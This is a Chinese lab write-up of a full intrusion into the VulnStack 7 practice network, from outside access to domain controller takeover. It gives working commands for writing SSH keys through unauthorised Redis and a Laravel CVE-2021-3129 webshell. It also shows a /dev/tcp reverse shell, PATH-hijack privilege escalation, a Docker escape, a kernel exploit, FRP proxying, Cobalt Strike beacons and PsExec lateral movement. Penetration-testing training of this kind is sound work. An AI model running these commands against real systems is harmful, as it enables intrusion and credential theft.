跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Shell / Bash

VulnStack 7 红日靶场实战:从外网到域控的全流程渗透

综述由AI生成记录了红日靶场 VulnStack 7 的完整渗透路径。从外网 Redis 未授权访问获取 Web1 权限,利用 Laravel 漏洞和 Docker 逃逸进入内网 1,通过 FRP 搭建代理连通内网 2。随后使用 fscan 探测,结合 Cobalt Strike 上线多主机,最终通过 SMB 和永恒之蓝攻陷域控 DC。涉及信息收集、漏洞利用、提权、横向移动及内网穿透等关键技术环节。

Elasticer发布于 2026/4/9更新于 2026/5/2324 浏览
VulnStack 7 红日靶场实战:从外网到域控的全流程渗透

渗透环境

网络拓扑

外部网络:

  • Kali 攻击机:Vmnet8 - 192.168.59.128
  • DMZ 跳板机 Web1 (Ubuntu):Vmnet8 - 192.168.59.141,Vmnet2 - 192.168.52.10

第一层内部网络:

  • Web2 服务器 (Ubuntu):Vmnet2 - 192.168.52.20,Vmnet14 - 192.168.93.10
  • PC1 (内网 1):Vmnet2 - 192.168.52.30(通达 OA),Vmnet14 - 192.168.93.20

第二层内部网络:

  • PC2 (目标):Vmnet14 - 192.168.93.40(永恒之蓝)
  • DC (域控):Vmnet14 - 192.168.93.30(Psexec SMB)

[图片]

角色表

本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。

  • 外网突破:Kali 利用 Web1 的 Redis 未授权 (192.168.52.10) 获得首个立足点。
  • 内网 1 横向移动:以 Web1 为跳板,扫描并攻击内网 1 (192.168.52.0/24) 中的 Web2 和 PC1。
  • 向内网 2 渗透:利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网 2 (192.168.93.0/24)。
  • 内网 2 攻击:最终在内网 2 中,利用永恒之蓝攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。
节点IP 地址角色渗透路径中的作用
Kali 攻击机192.168.59.128 (Vmnet8)攻击发起源从外网发起攻击的起点
Web1 跳板机192.168.59.141 (Vmnet8)
192.168.52.10 (Vmnet2)
初始入口
Redis 未授权访问
第一层跳板,连接外网与内网 1
Web2 服务器192.168.52.20 (Vmnet2)
192.168.93.10 (Vmnet14)
Laravel 应用 & Docker
双网卡网关
第二层跳板,连接内网 1 与内网 2
PC1192.168.52.30 (Vmnet2)
192.168.93.20 (Vmnet14)
通达 OA 系统
双网卡主机
辅助跳点,连接内网 1 与内网 2
PC2 (目标)192.168.93.40 (Vmnet14)存在 MS17-010(永恒之蓝)内网 2 核心攻击目标之一
DC (目标)192.168.93.30 (Vmnet14)域控制器,存在 Psexec/SMB内网 2 最终攻击目标

网络搭建

网络适配器配置
修改 Web1 的网卡配置

将桥接的网卡改为 NAT 和 VMnet2。开启 redis 服务:redis-server /etc/redis.conf。启动 Nginx 服务:/usr/sbin/nginx -c /etc/nginx/nginx.conf。

建议完成此步骤后拍摄快照留存,避免后续错误需重新搭建环境。

修改 Web2 的网卡配置

将桥接的网卡改为 VMnet2 和 VMnet14。确保 Docker 服务运行:sudo service docker start 及 sudo docker start 8e172820ac78。

在攻击机验证 Web1 服务器的 81 端口访问:http://192.168.59.141:81/。

同样建议完成后拍摄快照。

修改 PC1 的网卡配置

将桥接的网卡改为 VMnet2 和 VMnet14。启动通达 OA 需管理员密码:Administrator / Whoami2021。执行 C:\MYOA\bin\AutoConfig.exe。注意关闭防火墙,否则无法访问其 8080 端口。

配置网段
编辑虚拟网络编辑器

点击 VMware 编辑 - 虚拟网络编辑器,进入配置 vmnet 网卡的界面。

vmnet2 网卡

将 vmnet2 网段改为 192.168.52.0/24。

vmnet14 网卡

添加 vmnet14 网卡,网段设置为 192.168.93.0/24。

信息搜集

探测存活主机

使用 nmap 扫描发现存活 IP:

nmap -sn 192.168.59.0/24

发现 IP 地址为 192.168.59.141。

探测端口

对 192.168.59.141 进行常用端口探测,发现敏感端口 22、80、81:

nmap -A 192.168.59.141

Redis 渗透

生成 ssh 私钥

在攻击机中生成一对 RSA 非对称加密密钥,默认在当前用户.ssh 目录下创建私钥文件 id_rsa 和公钥文件 id_rsa.pub。

ssh-keygen -t rsa

查看生成公钥文件

进入.ssh 目录,查询公钥内容:

cat ~/.ssh/id_rsa.pub

写入 Redis 服务器

直接连接未授权 Redis

使用 redis-cli 连接目标:

redis-cli -h 192.168.59.141
写入 SSH 公钥获取服务器权限

通过篡改 Redis 的数据持久化配置,将生成的 SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中,实现免密登录。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save

ssh 连接

使用私钥连接:

ssh [email protected] -i ~/.ssh/id_rsa

查看 Web1 的 Nginx 配置

获取控制权后,查看 Nginx 配置文件,发现 81 端口进行了反向代理(指向 192.168.52.20 的 8000 端口)。这意味着访问 Web1 的 81 端口实际上访问的是 Web2 服务器。

cd /etc/nginx/conf.d/
cat 81.conf

Laravel 渗透(Web2)

本部分渗透需要确保 Web1 和 Web2 虚拟机均处于打开状态。

发现 Laravel

访问 Web1 的 81 端口,发现其为 Laravel 服务:

http://192.168.59.141:81

下载 PoC

使用 GitHub 上的 CVE-2021-3129 漏洞利用脚本:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

执行 PoC 上传木马

执行 PoC 上传木马,命令如下:

python laravel-CVE-2021-3129-EXP.py http://192.168.59.141:81

输出 webshell 地址:http://192.168.59.141:81/fuckyou.php,密码:pass。

下载哥斯拉

由于 Laravel 的 PoC 较老,建议使用低版本哥斯拉连接:

https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

连接哥斯拉

通过 java -jar 启动哥斯拉,添加木马会话(webshell 地址及密码同上)。

发现 Docker 环境

通过 ls -la / 查看根目录,发现 docker 相关文件,说明这是 Docker 环境,需要进行逃逸。 执行 whoami 返回 www-data 用户,需提权并逃逸。

Docker 逃逸(Web2)

利用反弹 shell 交互

Web1 监听 5555 端口

因为哥斯拉无法提供交互式会话,改用反弹 shell 连接。在 Web1 的 ssh 终端开启 5555 端口监听。

哥斯拉(Docker)连接 5555 端口

在 Docker 容器内执行:

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'
Web1 反弹 shell 成功

此时可在 Web1 的 ssh 终端通过监听 5555 端口连接 Web2 的 Laravel 服务器 docker 环境。

查找 find 权限

在 Docker 容器或 Linux 系统中搜索具有 SUID 权限位的可执行文件:

find / -perm -u=s -type f 2>/dev/null

发现 /home/jobs/shell 文件是一个设置了 SUID 权限的可执行程序,属主为 root。

分析 /home/jobs/shell 文件

file 命令检测

使用 file /home/jobs/shell 查看文件类型,确认为可执行程序。

发现源码文件

检查目录是否存在相关源码文件:ls -l /home/jobs,发现 demo.c 文件。 查看内容:cat /home/jobs/demo.c。该 C 程序通过 setuid(0) 和 setgid(0) 将进程权限提升至 root 身份,并调用 system("ps") 执行系统进程查看命令。

尝试直接执行 shell 程序

执行 shell 程序,确认其执行了 ps 程序,说明 shell 是 demo.c 编译而得。

环境变量提权

命令详解

进行 PATH 环境变量劫持提权攻击,步骤如下:

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell
  • 准备恶意程序:在/tmp 创建名为 ps 的文件,内容为/bin/bash。
  • 劫持系统命令路径:将/tmp 添加到 PATH 最前面,优先查找。
  • 触发执行并提权:执行 ./shell,因 SUID 位以 root 运行,调用的 ps 实际是我们创建的木马。
实操提权

执行 shell 后输入 id 和 whoami,确认提权成功。

当 ./shell 被执行时,由于设置了 SUID 位,操作系统会创建一个以 root 权限运行的进程。若代码中存在类似 system("ps") 的调用,系统会按照 PATH 顺序查找,找到我们创建的/tmp/ps 并执行,从而继承父进程的 root 权限。

交互式会话

python -c 'import pty; pty.spawn("/bin/bash")'

Docker 逃逸准备

特权模式检测

通过 cat /proc/self/status | grep CapEff 查看能力值。若返回值接近全权限掩码,则确认容器以特权模式运行。

查看分区

通过 fdisk -l 获知宿主机磁盘为/dev/sda。

挂载文件系统

确认特权模式后,在容器内创建临时目录作为挂载点(/ljn)。使用 mount 命令将宿主机的物理磁盘挂载到该目录:

mkdir /ljn
mount /dev/sda1 /ljn

写入 ssh 密钥进行逃逸

跳板机 Web1 生成密钥

在 Web1 生成密钥:ssh-keygen -f ljn。

向 Web2 写入公钥

将密钥写入 /ljn/home/ubuntu/.ssh/authorized_keys 中:

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys
Web1 连接 Web2 的 ssh 成功

Web1 使用 ssh -i ljn [email protected] 连接宿主机。需先将 ljn 私钥权限设置为 600:chmod 600 ljn。 此时成功逃逸到 Web2 系统,但用户为 ubuntu,仍需提权。

Web2 提权

CVE-2021-3493 PoC 下载

CVE-2021-3493 是 Linux 内核高危本地权限提升漏洞,主要影响 Ubuntu 系统。可从 GitHub 获取 PoC。

Web2 上创建 PoC 文件

建立 exploit.c 文件,粘贴脚本内容。

编译执行 PoC 提权

使用 GCC 编译器编译并执行:

gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn

提权成功。

Web1 上传 Fscan 探测内网 1

上传 fscan

由于 Web1 是 Linux 系统,将 fscan_arm64 传入 Web1 中。

fscan 探测 192.168.52.0/24 网段

为 fscan_amd64 添加可执行权限,扫描整个 C 类网段:

chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24

分析结果,发现 30 是 Windows 系统,8080 是通达 OA。

FRP 配置第一层反向代理

服务器(KALI 攻击机)

配置文件 frps.ini

FRP 服务端监听端口 7000:

bindPort = 7000
Kali 执行 frps
./frps -c frps.ini

客户端(Web 跳板机)

配置文件 frpc.ini

frp 客户端配置中,[common] 部分指定服务端地址为 192.168.59.128,端口 7000;[socks5] 部分设置类型为 TCP,远程端口 12347,使用 socks5 插件。

[common]
server_addr = 192.168.59.128
server_port = 7000

[socks5]
type = tcp
remote_port = 12347
plugin = socks5
向 Web1 服务器上传 frpc 文件并执行

将配置好的 frpc 上传至 Web1 并执行。

Kali 配置 proxychains

配置/etc/proxychains4.conf 文件,添加 socks5 0.0.0.0 12347。

PC1 渗透(通达 OA 走 FRP 代理)

访问 PC1 的 8080 端口

访问 PC1 的通达 OA 服务(192.168.52.30:8080),需配置 socks5 代理 192.168.59.128:12347。

OA 工具箱渗透

配置代理

选择使用 OA 工具箱渗透,使用前需配置 socks5 代理。

扫描探测

左侧菜单栏中选择通达,输入 URL 地址 http://192.168.52.30:8080/,点击验证,发现存在文件上传安全风险。

写入木马

点击'文件上传',粘贴冰蝎马的内容并上传:

http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

连接冰蝎木马

使用冰蝎工具前需配置 socks5 代理 192.168.59.128:12347。URL 地址及密码(rebeyond)填入后成功连接。

发现第二层内网 192.168.93.0/24

使用 ipconfig 查询 IP 地址,发现另一个网卡 IP 为 192.168.93.20,说明存在第二层内网。

添加路由

此时已拿到 Web1、Web2 和 PC1 的控制权。

Kali 添加路由

route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0

Web1 添加转发功能

sysctl -w net.ipv4.ip_forward=1

Web2 添加路由

route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0

PC1 添加路由

route add 192.168.59.0 mask 255.255.255.0 192.168.52.10

Kali 与 Web2 测试连通性

测试 ping 连通性。

Kali 与 PC1 测试连通性

测试 ping 连通性。

CS 监听 Web1(直连)

创建 https 监听

在 Cobalt Strike 中创建 HTTPS 监听器。

配置 cs 插件 genCrossC2.Win

确保 genCrossC2.Win 目录中的 key 与 CS server 端的 key 值相同。

使用 genCrossC2.Win 生成 linux beacon

genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out raw

将 ljn-10050 上传至 Web1 并运行

上传生成的 beacon 文件至 Web1 并执行。

CS 上线 Web1

Web1 上线,内网 IP 地址为 192.168.52.0/24 网段。

CS 上线 Web2(路由)

Web2 上传 beacon

在 Web1 的 beacon 文件目录中启动 HTTP 服务:python3 -m http.server 8888。 Web2 下载 ljn-10050.out。

Web2 运行 beacon

运行 ljn-10050.out。

CS 上线 Web2

CS 成功上线 Web2。

CS 上线 PC1(路由)

CS 创建 10087 监听

添加 cs http beacon 监听

添加监听器,选择 payload 类型(Beacon HTTP),配置回连 IP 和端口。

生成木马 Payload

选择 Windows 可执行文件(Stageless),配置 mooyuan2008 监听器,输出格式为 windows exe,保存为 mooyuan2008-http-x64.exe。

PC1 执行 Beacon

冰蝎上传 beacon 到 PC1

通过冰蝎上传生成的 exe 文件。

冰蝎执行 beacon

执行 mooyuan2008-http-x64.exe。

CS 上线 PC1 的 beacon

CS 上线 PC1

CS 成功上线 PC1。 为防止不稳定,可进行提权操作。

抓取密码

使用 CS 功能抓取密码。

端口扫描

进行内网端口扫描。

域信息搜集

收集域相关信息。

CS 创建 SMB 监听

新建 SMB 监听器,保存后增加 ljn-smb 监听。

CS 上线 DC(PSexec via PC1 smb)

做之前先还原快照或手动打开防火墙,确保环境是原始版本。

CS 上线 PC2(PSexec via DC smb)

利用 SMB 中转会话和 PSexec 上传 DC 域控。

总结

本次渗透展示了从外网到内网的完整攻击链。通过 Redis 未授权访问获取 Web1 权限,利用 Laravel 漏洞和 Docker 逃逸进入内网 1,通过 FRP 搭建代理连通内网 2。随后使用 fscan 探测,结合 Cobalt Strike 上线多主机,最终通过 SMB 和永恒之蓝攻陷域控 DC。涉及信息收集、漏洞利用、提权、横向移动及内网穿透等关键技术环节。

目录

  1. 渗透环境
  2. 网络拓扑
  3. 角色表
  4. 网络搭建
  5. 网络适配器配置
  6. 修改 Web1 的网卡配置
  7. 修改 Web2 的网卡配置
  8. 修改 PC1 的网卡配置
  9. 配置网段
  10. 编辑虚拟网络编辑器
  11. vmnet2 网卡
  12. vmnet14 网卡
  13. 信息搜集
  14. 探测存活主机
  15. 探测端口
  16. Redis 渗透
  17. 生成 ssh 私钥
  18. 查看生成公钥文件
  19. 写入 Redis 服务器
  20. 直接连接未授权 Redis
  21. 写入 SSH 公钥获取服务器权限
  22. ssh 连接
  23. 查看 Web1 的 Nginx 配置
  24. Laravel 渗透(Web2)
  25. 发现 Laravel
  26. 下载 PoC
  27. 执行 PoC 上传木马
  28. 下载哥斯拉
  29. 连接哥斯拉
  30. 发现 Docker 环境
  31. Docker 逃逸(Web2)
  32. 利用反弹 shell 交互
  33. Web1 监听 5555 端口
  34. 哥斯拉(Docker)连接 5555 端口
  35. Web1 反弹 shell 成功
  36. 查找 find 权限
  37. 分析 /home/jobs/shell 文件
  38. file 命令检测
  39. 发现源码文件
  40. 尝试直接执行 shell 程序
  41. 环境变量提权
  42. 命令详解
  43. 实操提权
  44. 交互式会话
  45. Docker 逃逸准备
  46. 特权模式检测
  47. 查看分区
  48. 挂载文件系统
  49. 写入 ssh 密钥进行逃逸
  50. 跳板机 Web1 生成密钥
  51. 向 Web2 写入公钥
  52. Web1 连接 Web2 的 ssh 成功
  53. Web2 提权
  54. CVE-2021-3493 PoC 下载
  55. Web2 上创建 PoC 文件
  56. 编译执行 PoC 提权
  57. Web1 上传 Fscan 探测内网 1
  58. 上传 fscan
  59. fscan 探测 192.168.52.0/24 网段
  60. FRP 配置第一层反向代理
  61. 服务器(KALI 攻击机)
  62. 配置文件 frps.ini
  63. Kali 执行 frps
  64. 客户端(Web 跳板机)
  65. 配置文件 frpc.ini
  66. 向 Web1 服务器上传 frpc 文件并执行
  67. Kali 配置 proxychains
  68. PC1 渗透(通达 OA 走 FRP 代理)
  69. 访问 PC1 的 8080 端口
  70. OA 工具箱渗透
  71. 配置代理
  72. 扫描探测
  73. 写入木马
  74. 连接冰蝎木马
  75. 发现第二层内网 192.168.93.0/24
  76. 添加路由
  77. Kali 添加路由
  78. Web1 添加转发功能
  79. Web2 添加路由
  80. PC1 添加路由
  81. Kali 与 Web2 测试连通性
  82. Kali 与 PC1 测试连通性
  83. CS 监听 Web1(直连)
  84. 创建 https 监听
  85. 配置 cs 插件 genCrossC2.Win
  86. 使用 genCrossC2.Win 生成 linux beacon
  87. 将 ljn-10050 上传至 Web1 并运行
  88. CS 上线 Web1
  89. CS 上线 Web2(路由)
  90. Web2 上传 beacon
  91. Web2 运行 beacon
  92. CS 上线 Web2
  93. CS 上线 PC1(路由)
  94. CS 创建 10087 监听
  95. 添加 cs http beacon 监听
  96. 生成木马 Payload
  97. PC1 执行 Beacon
  98. 冰蝎上传 beacon 到 PC1
  99. 冰蝎执行 beacon
  100. CS 上线 PC1 的 beacon
  101. CS 上线 PC1
  102. 抓取密码
  103. 端口扫描
  104. 域信息搜集
  105. CS 创建 SMB 监听
  106. CS 上线 DC(PSexec via PC1 smb)
  107. CS 上线 PC2(PSexec via DC smb)
  108. 总结
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • KingbaseES 数据库智能 SQL 防护机制与实战配置
  • Web 安全实战:Training-WWW-Robots 题目解析与 Robots 协议原理
  • 大模型基本概念解析:定义、分类与发展历程
  • OpenCode 与 GitHub Copilot 开源 AI 编程工具选型对比
  • 5 款开源 PPT 生成大模型实测对比与技术选型
  • Stable Diffusion 16 款常用插件测评与推荐指南
  • DSP + FPGA 控制步进电机原理与代码实现
  • Trae IDE 安装与使用指南:AI 原生开发环境详解
  • Meta Llama 3.1 本地部署实战:Ollama 与 OpenWebUI 搭建
  • 计算机视觉基础与实战应用指南
  • ELMo 模型详解:上下文感知词向量表示技术
  • 使用 OpenClaw 在飞书搭建专属 AI 机器人
  • Visual C++ 运行库修复指南:解决 Windows 程序无法启动问题
  • 2024 年 AI 大模型行业报告:国内外格局与关键技术解析
  • AI 助力高性能计算开发:2048 核并行优化实践
  • DooTask 轻量化与 AI 在开发团队协同中的应用实践
  • 2026 年 2 月 19 日全球 AI 前沿动态
  • 基于 Qwen3-VL 与 LLaMA-Factory 的 Grounding 任务 LoRA 微调
  • Openclaw 连接本地 Ollama 与 Qwen WebUI 无响应排查指南
  • 基于 DeepSeek 和 Cursor 构建智能代码审查工具实践

相关免费在线工具

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online

  • JSON美化和格式化

    将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online